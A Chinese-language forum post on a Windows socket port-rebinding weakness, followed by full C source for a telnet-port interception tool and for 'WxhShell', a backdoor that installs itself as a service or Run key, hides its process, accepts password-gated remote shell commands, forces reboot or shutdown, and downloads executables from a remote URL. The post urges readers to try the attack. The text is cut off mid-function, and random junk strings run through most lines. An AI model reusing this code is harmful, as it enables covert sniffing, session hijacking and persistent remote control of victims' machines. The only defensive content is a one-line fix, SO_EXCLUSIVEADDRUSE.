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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CWT#1L=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >AK9F. _z  
GmhfBW?  
  saddr.sin_family = AF_INET; de=){.7Y  
f/xQy}4+~E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i4T=4q  
xVxN @[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ly[j=vBV  
JuW"4R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tTEw"DL_-  
5 w-Pq&q  
  这意味着什么?意味着可以进行如下的攻击: H4B|c42  
F $/7X~*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f \ E9u}  
=/5^/vwgY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hY5GNYDh  
i~3\jD=<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^4/   
cN%  r\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1;v,rs M  
@7HHi~1JK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F8H4R7 8>;  
8:t!m>(*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c,CcKy;+  
rU4;yy*b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NF "|*S  
&?[g8A  
  #include #| pn,/  
  #include !;3hN$5  
  #include &x?m5%^l  
  #include    _D 9/,n$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :6gRoMb]  
  int main() *@I/TX'\rY  
  { 0tKVo]EK  
  WORD wVersionRequested; ~3& *>H^U  
  DWORD ret; tm1#Lh0  
  WSADATA wsaData; vh"wXu  
  BOOL val; B>}B{qi|  
  SOCKADDR_IN saddr; z:^ (#G{  
  SOCKADDR_IN scaddr; C'~E q3  
  int err; lVv'_9yg  
  SOCKET s; d\ I6Wn  
  SOCKET sc; |.*nq  
  int caddsize; GIb,y,PDB  
  HANDLE mt; ~4+ICCbH  
  DWORD tid;   ]z O6ESH  
  wVersionRequested = MAKEWORD( 2, 2 ); 63E)RR_Lh  
  err = WSAStartup( wVersionRequested, &wsaData ); #V{!|Y'  
  if ( err != 0 ) { / Q| Z&-c  
  printf("error!WSAStartup failed!\n"); B?%e-xV-  
  return -1; \@[Y ~:  
  } buldA5*!o  
  saddr.sin_family = AF_INET; R]&lVXyH  
   `h%K8];<6f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6t\0Ui  
G %A!yV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); enGZb&  
  saddr.sin_port = htons(23); ~9y/MR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9!_JV;2  
  { r^7eK)XA_  
  printf("error!socket failed!\n"); vA"LV+@  
  return -1; ."Kp6s`k  
  } gy1R.SN  
  val = TRUE; ?o1QjDG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b_&:tE--]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k4d;4D?  
  { k QF3DR$,B  
  printf("error!setsockopt failed!\n"); uZM%F)  
  return -1; MQe|\SMd  
  } DH7]TRCMZ)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tmd{G x}c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +~>cAWZq_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G#Kw6  
1Ep7CV-n}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SoWMP2/  
  { n-9a 0_{k  
  ret=GetLastError(); qZdA%  
  printf("error!bind failed!\n"); IyEfisOK?  
  return -1; <(t{C8>g%  
  } .6!cHL3ln  
  listen(s,2); bt*  
  while(1) o@m7@$7  
  { \[G"/]J  
  caddsize = sizeof(scaddr); ;qO3m -(d  
  //接受连接请求 c|@OD3w2lM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f?r{Q  
  if(sc!=INVALID_SOCKET) AJ>$`=  
  { 'rNLh3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Wf3{z D~  
  if(mt==NULL) #_Zkke~{  
  { ef7BG(  
  printf("Thread Creat Failed!\n"); wV\7  
  break; Fh/psd  
  } Q\W)}  
  } 27i-B\r  
  CloseHandle(mt); l_s#7.9$  
  } L&KL]n  
  closesocket(s); P2&0bNY  
  WSACleanup(); O=vD6@QI  
  return 0; *k,{[b  
  }   s{OV-H  
  DWORD WINAPI ClientThread(LPVOID lpParam) `z`=!1  
  { `,O"^zR)z  
  SOCKET ss = (SOCKET)lpParam; VnqcpJ  
  SOCKET sc; k]A =Q  
  unsigned char buf[4096]; Q,M,^_  
  SOCKADDR_IN saddr; R , #szTu  
  long num; 8`s*+.LI!  
  DWORD val; _%3p&1ld  
  DWORD ret; XqU0AbQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *k Tj,&x[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g*Pn_Yo[.  
  saddr.sin_family = AF_INET; 2%v6h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p' 6h9/  
  saddr.sin_port = htons(23); 6B]i}nFH{+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DJ0jtv6nQ-  
  { )gz]F_  
  printf("error!socket failed!\n"); _R^ZXtypd  
  return -1; $VjMd f  
  } 1Q=L/k eP  
  val = 100; r:PYAb=g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &1Y7Ne  
  { aTfc>A;  
  ret = GetLastError(); .:XXc  
  return -1; g\9&L/xDN  
  } m7`S@qG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wy^mh.= UX  
  { /l$fQ:l  
  ret = GetLastError(); mG1!~}[  
  return -1; A>,kmU5  
  } 3kh!dL3D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WL|71?@C  
  { :`K2?;DC8  
  printf("error!socket connect failed!\n"); U# IPYyV  
  closesocket(sc); v-8{mK`9\  
  closesocket(ss); ([|^3tM  
  return -1; LN) yQ-  
  } ~c5 5LlO>  
  while(1) o6RT4`  
  { x[fp7*TiG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zJh!Q**  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <Qr*!-Kc6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 elR1NhB|p  
  num = recv(ss,buf,4096,0); -]-0]*oAp  
  if(num>0) t<"`gM^|  
  send(sc,buf,num,0); m;nH v  
  else if(num==0) 9ei<ou_s  
  break; QCG-CzJ9 l  
  num = recv(sc,buf,4096,0); ;dtA-EfOZ  
  if(num>0) VU6+" 2+'2  
  send(ss,buf,num,0); Lctp=X4  
  else if(num==0) _+)n}Se  
  break; mKE' l'9A_  
  } oKr= ]p  
  closesocket(ss); Unansk  
  closesocket(sc); $m-C6xC/  
  return 0 ; 's5H_ah  
  } K47.zu  
mI\[L2x  
>l=jJTJ;q  
========================================================== rLY I\  
h#Mx(q  
下边附上一个代码,,WXhSHELL C?MKb D=K  
?r*}1WsH  
========================================================== ' R2*3<  
=(~*8hJ  
#include "stdafx.h" a^^OI|?  
Ted tmX$  
#include <stdio.h> <WbO&;%  
#include <string.h> S;/pm$?/  
#include <windows.h> :^qUr`)  
#include <winsock2.h> tR 4+]K  
#include <winsvc.h>  %{UW!/  
#include <urlmon.h> zo8&(XS  
*=]UWM~]  
#pragma comment (lib, "Ws2_32.lib") [S-#}C?~  
#pragma comment (lib, "urlmon.lib")  ;\f0II3  
+;)Xu}  
#define MAX_USER   100 // 最大客户端连接数 bdvpH DA  
#define BUF_SOCK   200 // sock buffer WRRR"Q$  
#define KEY_BUFF   255 // 输入 buffer o.Bbb=*rZ  
D(&Zq7]n  
#define REBOOT     0   // 重启 D><^7nr%  
#define SHUTDOWN   1   // 关机 6-\' *5r  
zG c ]*R  
#define DEF_PORT   5000 // 监听端口 "uj@!SEs`?  
-<AGCiLz  
#define REG_LEN     16   // 注册表键长度 dj4a)p|YN  
#define SVC_LEN     80   // NT服务名长度 GO*D4<#u  
/Z~$`!J  
// 从dll定义API 5Q:49S47  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3[?;s}61  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jh36NE8r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0W_u"UY$c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,1.Td=lY$  
({$rb-  
// wxhshell配置信息 &os:h] C  
struct WSCFG { 5|`./+Ghk  
  int ws_port;         // 监听端口 mVN\  
  char ws_passstr[REG_LEN]; // 口令 (dy:d^  
  int ws_autoins;       // 安装标记, 1=yes 0=no K@oyvJ$  
  char ws_regname[REG_LEN]; // 注册表键名 <]_[o:nOP  
  char ws_svcname[REG_LEN]; // 服务名 ^rO!-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }[PC YnS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7AqbfLO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z5D*UOy5M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $"}[\>e*{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J l{My^I5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e2>AL  
>5TXLOYZ  
}; ><. *5q  
)nq(XM7  
// default Wxhshell configuration :22wq{  
struct WSCFG wscfg={DEF_PORT, %h;1}SFl0  
    "xuhuanlingzhe", 'Q=(1a11  
    1, b/\l\\$-  
    "Wxhshell", U'~]^F%eyu  
    "Wxhshell", m( %PZ*s  
            "WxhShell Service", (/9erfuJ  
    "Wrsky Windows CmdShell Service", PsS.lhj0"  
    "Please Input Your Password: ", -a"b:Q  
  1, I47sqz7  
  "http://www.wrsky.com/wxhshell.exe", 2T@?&N^OD  
  "Wxhshell.exe" r gi4>  
    }; @Jb-[W$*  
i=hA. y`  
// 消息定义模块 NO/5pz}1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zz<o4b R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T-x9IoE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l1 _"9a%H  
char *msg_ws_ext="\n\rExit."; ux 17q>G  
char *msg_ws_end="\n\rQuit."; T[g(S0dz  
char *msg_ws_boot="\n\rReboot..."; DK'S4%;Sp  
char *msg_ws_poff="\n\rShutdown..."; \C2HeA\#SW  
char *msg_ws_down="\n\rSave to "; Gv[(0  
7 9k+R9m  
char *msg_ws_err="\n\rErr!"; P?jI:'u!R.  
char *msg_ws_ok="\n\rOK!"; 6\VZ 6oS  
eOfVBF<C2  
char ExeFile[MAX_PATH]; J$T(p%  
int nUser = 0; JL<<EPC  
HANDLE handles[MAX_USER]; F7]8*[u  
int OsIsNt; Cy)QS{YX  
zyt >(A1  
SERVICE_STATUS       serviceStatus; ?iamo.0zN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >7 cDfv"  
E}#&2n8Y  
// 函数声明 _fHj8- s/  
int Install(void); ;E!] /oY<  
int Uninstall(void); YM.  
int DownloadFile(char *sURL, SOCKET wsh); G c ,  
int Boot(int flag); Id>I.e4  
void HideProc(void); ; 0M"T[c  
int GetOsVer(void); /1bQ RI^\  
int Wxhshell(SOCKET wsl); 5Q8s{WQ  
void TalkWithClient(void *cs); )t:8;;W@Ir  
int CmdShell(SOCKET sock); 2r]o>X  
int StartFromService(void); Ysw&J}6e  
int StartWxhshell(LPSTR lpCmdLine); sv#b5,>9  
s"2+H}u   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WY5HmNX3E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i'1 MZ%.  
TQ%F\@"  
// 数据结构和表定义 %ZDO0P !/  
SERVICE_TABLE_ENTRY DispatchTable[] = sWKdqs  
{ =8"xQ>D62  
{wscfg.ws_svcname, NTServiceMain}, r029E-  
{NULL, NULL} ^7t1'A8e<  
}; */|<5X;xIA  
d7:=axo,  
// 自我安装 'TA !JB+  
int Install(void) pTncx%!W5  
{ 6 .[3N~pq  
  char svExeFile[MAX_PATH]; ;hEeFJ=/G  
  HKEY key; 1F+JyZK}w  
  strcpy(svExeFile,ExeFile); YTr+"\CkA  
am7~  
// 如果是win9x系统,修改注册表设为自启动 4AF.KX7  
if(!OsIsNt) { `joyHKZI.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,s:viXk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _NpxV'E  
  RegCloseKey(key); S&D8Rao5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,e GF~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~]n=TEJ>  
  RegCloseKey(key); YlR9 1L X  
  return 0; c'5ls7?}O{  
    } ,pVe@d'  
  } O]j<$GG!  
} ::-*~CH)  
else { [N<rPHT  
H6/gRv@  
// 如果是NT以上系统,安装为系统服务 2lqy<o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o*oFCR]j  
if (schSCManager!=0) #%V+- b(  
{ k]2_vk^  
  SC_HANDLE schService = CreateService LyL(~Jc|  
  ( o,@ (]e~  
  schSCManager, +/" \.wYv  
  wscfg.ws_svcname, %'S[f  
  wscfg.ws_svcdisp, -D%mVe)&+  
  SERVICE_ALL_ACCESS, Nu'ox. V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ohIJcI-  
  SERVICE_AUTO_START, *>xCX  
  SERVICE_ERROR_NORMAL, x+DecO2  
  svExeFile, EG3u)}vI  
  NULL, POX{;[SV  
  NULL, v I,T1%llu  
  NULL, $\M];S=CY  
  NULL, _6g(C_m'T?  
  NULL  _~S[  
  ); @Y}G,i  
  if (schService!=0) ,ne3uPRu7~  
  { Zq5~M bldh  
  CloseServiceHandle(schService); jX^_(Kg  
  CloseServiceHandle(schSCManager); O{Z${TC[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v2="j  
  strcat(svExeFile,wscfg.ws_svcname); jdx T662q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 62K#rR S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rj4R/{h  
  RegCloseKey(key); zJ@^Bw;A^@  
  return 0; w"? RbA  
    } LC\U6J't1  
  } Z9Z\2t  
  CloseServiceHandle(schSCManager); !0F+qzGG7  
} G^eXJusOv  
} *d PbV.HCl  
81w"*G5AM  
return 1; c%1{l]   
} xV=Tmu6l  
Mz\l C)\B  
// 自我卸载 '}"&JO~vPj  
int Uninstall(void) S0}=uL#dt  
{ wN :"(mQ  
  HKEY key; *kEzGgTzoS  
8DM! ]L  
if(!OsIsNt) { %joL}f[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <Y$( l szT  
  RegDeleteValue(key,wscfg.ws_regname); )V&hS5P=S  
  RegCloseKey(key); 4yjIR?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \k^ojzJ  
  RegDeleteValue(key,wscfg.ws_regname); 8 VhU)fY  
  RegCloseKey(key); `3@?)xa  
  return 0; l,zhBnD  
  } C2\zbC[qm  
} A~ _2"  
} NB+/S;`  
else { m(0X_& &?z  
uL^`uI#I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7!\zo mx  
if (schSCManager!=0) |=MhI5gsx  
{ B-PX/Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5L_`Fw\l  
  if (schService!=0) d[XMQX  
  { Lj3Pp$h  
  if(DeleteService(schService)!=0) { ),|z4~  
  CloseServiceHandle(schService); Y*S:/b~y  
  CloseServiceHandle(schSCManager); U3Z-1G~*r  
  return 0; `*U$pg  
  } TBRG D l  
  CloseServiceHandle(schService); P+wpX  
  } \O\q1 s~  
  CloseServiceHandle(schSCManager); l5\V4  
} QHc([%oV  
} O%N.;Ve  
8@RtL,[d  
return 1; jL'`M%8O  
} #<EYO  
SvrUXf  
// 从指定url下载文件 e `OQ6|.k8  
int DownloadFile(char *sURL, SOCKET wsh) }W&9}9p"  
{ {8oGWQgrj  
  HRESULT hr; F\|4zM  
char seps[]= "/"; =%7s0l3z  
char *token; P{yb%@I~J  
char *file; , 2xv  
char myURL[MAX_PATH]; N"suR}9%  
char myFILE[MAX_PATH]; '2ZvK  
i'4.w?OZ  
strcpy(myURL,sURL); R<(xWH  
  token=strtok(myURL,seps); 4 Tw~4b  
  while(token!=NULL) >[;=c0(  
  { Vu=/<;-N  
    file=token; C,GZ  
  token=strtok(NULL,seps); t,IOq[Vtk  
  } 8ZLHN',  
xV 2C4K  
GetCurrentDirectory(MAX_PATH,myFILE); 7D4tuXUq2  
strcat(myFILE, "\\"); v^vi *c  
strcat(myFILE, file); 4d-(:  
  send(wsh,myFILE,strlen(myFILE),0); egURRC!  
send(wsh,"...",3,0); v"Ax'()  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `E?0jQ  
  if(hr==S_OK) x~wS/y  
return 0;  >]~|Nf/i  
else &I[` .:NJ  
return 1; $/B~bJC  
l;L_A@B<  
} Pg{1'-  
.T3 m%n  
// 系统电源模块 T~(Sc'8  
int Boot(int flag) m}\QGtJ6  
{ aWJj@',_  
  HANDLE hToken; p:z~>ca  
  TOKEN_PRIVILEGES tkp; &i.sSqSI5  
7GWOJ^)  
  if(OsIsNt) { 7CvBE;i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TEMxjowr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I.GoY[u_%  
    tkp.PrivilegeCount = 1; x5mg<y2`Ng  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nw0#gDI|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /of K7/  
if(flag==REBOOT) { (xRcG+3];  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) : -d_  
  return 0; :dAd5v2f  
} q!?*M?Oz  
else { a6^_iSk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2vX $:4  
  return 0; T'@+MA) ~  
} >m. .  
  } oPM*VTMA  
  else { 13`Mt1R  
if(flag==REBOOT) { |K06H ?6X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Zd-6_,r  
  return 0; 2wHbhW[  
} y& 1@d+Lf  
else { ?1a9k@[t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ne/JC(  
  return 0; F_jHi0A  
} %0N HU`j  
} $2L6:&.P,  
6CIzT.  
return 1; -p.\fvip  
} ZcQu9XDIt  
DQm%=ON7  
// win9x进程隐藏模块 e)g &q'O  
void HideProc(void) n=vDEX:'  
{ $ VP1(C  
hW< v5!,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @q q"X'3t  
  if ( hKernel != NULL ) Wi'}d6c  
  { HOF$(86zqA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C?T\5}h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G+t:]\  
    FreeLibrary(hKernel); &Xqxuy ]J  
  } o1x1SH  
"8{A4N1B5  
return; O9(z"c  
} I}3F'}JV<  
g}xL7bTlI>  
// 获取操作系统版本 Oo}h:3?  
int GetOsVer(void) pB 8D  
{ /uj^w&l#  
  OSVERSIONINFO winfo; *}d N.IL,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,T<JNd'  
  GetVersionEx(&winfo); P*O G`%y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0)332}Oh  
  return 1; ]A'{DKR  
  else D3X4@sM  
  return 0; L ,dh$F  
} d*0 RBgn  
`KFEzv  
// 客户端句柄模块 8b)WOr6n  
int Wxhshell(SOCKET wsl)  JhFbze>  
{ -}|L<~  
  SOCKET wsh; KBmOi  
  struct sockaddr_in client;  % D  
  DWORD myID; O {1" I  
EIg~^xK  
  while(nUser<MAX_USER) 'Oue 1[  
{ LV^^Bd8Ct  
  int nSize=sizeof(client); v$|~ g'6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  D}98ZKi  
  if(wsh==INVALID_SOCKET) return 1; 30! DraW8  
IMH4GVr"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $Es\ld  
if(handles[nUser]==0) fRQ,Z  
  closesocket(wsh); 0\P5=hD)K  
else >.d/@3 '  
  nUser++; o$sD9xx  
  }  ?<EzILM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); si]VM_w6  
Fo.Y6/}  
  return 0; %8FfP5#  
} (Xh <F  
AafS6]y  
// 关闭 socket o utJ/~9;  
void CloseIt(SOCKET wsh) ?,>3uD#  
{ lFjz*g2'  
closesocket(wsh); dFy$w=  
nUser--; YsVmU  
ExitThread(0); ](w)e p~;3  
} XB7Aa)  
lFnls6dp  
// 客户端请求句柄 EAGvP&~P  
void TalkWithClient(void *cs) hv|a8=U!R  
{ = :gKh  
[iub}e0  
  SOCKET wsh=(SOCKET)cs; S4x9k{Xn  
  char pwd[SVC_LEN]; Q)DEcx-|,  
  char cmd[KEY_BUFF]; ca g5w~Px  
char chr[1]; .N X9A b  
int i,j; G% tlV&In  
$[>{s9E  
  while (nUser < MAX_USER) { &<V U}c^!  
gjDNl/r/  
if(wscfg.ws_passstr) { MA`nFkVK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k83K2> ]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HAxLYun(3w  
  //ZeroMemory(pwd,KEY_BUFF); mr\,"S-`  
      i=0; |nefg0`rk  
  while(i<SVC_LEN) { (,U|H`  
0)oh ab  
  // 设置超时 3^7+fxYWo  
  fd_set FdRead; oMQ4q{&|  
  struct timeval TimeOut; z1J)./BO  
  FD_ZERO(&FdRead); >1j#XA8  
  FD_SET(wsh,&FdRead); q]? qeF[  
  TimeOut.tv_sec=8; 1K#>^!?M  
  TimeOut.tv_usec=0; ^wIB;!W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TEz;:*,CG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); atTR6%!6  
L 4j#0I]lq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "cKD#  
  pwd=chr[0]; 3W?7hh  
  if(chr[0]==0xd || chr[0]==0xa) { 8R MM97@1Q  
  pwd=0; IVNH.g'  
  break; r%U6,7d=)  
  } {r_HcI(h  
  i++; 0;bdwIP3  
    } ieZ$@3#&z  
u#76w74  
  // 如果是非法用户,关闭 socket B$ eM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zm&[K53  
} ?^Rp" H   
qLEYBv-3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "iSY;y o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^ Ps!  
FK^xZ?G  
while(1) { FRQ.ix2  
{-4+=7Sg1  
  ZeroMemory(cmd,KEY_BUFF); 9O;Sn+  
}Va((X w  
      // 自动支持客户端 telnet标准   /wJ#-DZ  
  j=0; & =[!L0{  
  while(j<KEY_BUFF) { @z1QoZ^w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); duG!QS:  
  cmd[j]=chr[0]; <P h50s4  
  if(chr[0]==0xa || chr[0]==0xd) { Wk%|%/:  
  cmd[j]=0; I3Vu/&8f|  
  break; %1i:*~g  
  } cq I $9  
  j++; 'nTlCYT  
    } vi##E0,N'^  
tWIOy6`  
  // 下载文件 :r q~5hK  
  if(strstr(cmd,"http://")) { *K/K97  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5iA>Z!sP[  
  if(DownloadFile(cmd,wsh)) 50_[hC&C)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wH~A> 4*(  
  else <m-(B"F X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Eyi~jes  
  } 2I B{FO/  
  else { p1UloG\  
n41#  
    switch(cmd[0]) { d5'Q 1"{  
  ]o] VS  
  // 帮助 Lz 1.+:Ag  
  case '?': { w/#7G\U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b/S:&%E  
    break; ' [$KG  
  } ,JwX*L<:  
  // 安装 ED` 1)1<  
  case 'i': { 7KIekL  
    if(Install()) P]Fb0X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >=N-P< %  
    else DT]4C!dh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K#OL/2^ 5  
    break; ~@'wqGTp  
    } +xYu@r%R  
  // 卸载 YS|Dw'%g /  
  case 'r': { $Tbsre\MJ  
    if(Uninstall()) 5;)^o3X>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S`s]zdUTP  
    else u9"kF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :rb;*nY!  
    break; }g+kU1y  
    } mF 1f(  
  // 显示 wxhshell 所在路径 9k6s  
  case 'p': { cO5F=ZxR  
    char svExeFile[MAX_PATH]; HyzSHI  
    strcpy(svExeFile,"\n\r"); -Lq+FTezE  
      strcat(svExeFile,ExeFile); 7i"b\{5  
        send(wsh,svExeFile,strlen(svExeFile),0); %6Gg&Y$j!  
    break; _HwA%=>7  
    } c6:uM1V{  
  // 重启 lj<Sa  
  case 'b': { p-s\D_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xa)p ,  
    if(Boot(REBOOT)) =;Q/bD->  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F6U#EvL  
    else { cSPQ NYU:  
    closesocket(wsh); FJ0I&FyWs  
    ExitThread(0); Jr5S8 c|"  
    } 9QU\J0c/  
    break; : #a  
    } -E}X`?WhD  
  // 关机  /b=C  
  case 'd': { ;^N lq3N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #da{3>z:  
    if(Boot(SHUTDOWN)) 9 dNB _  
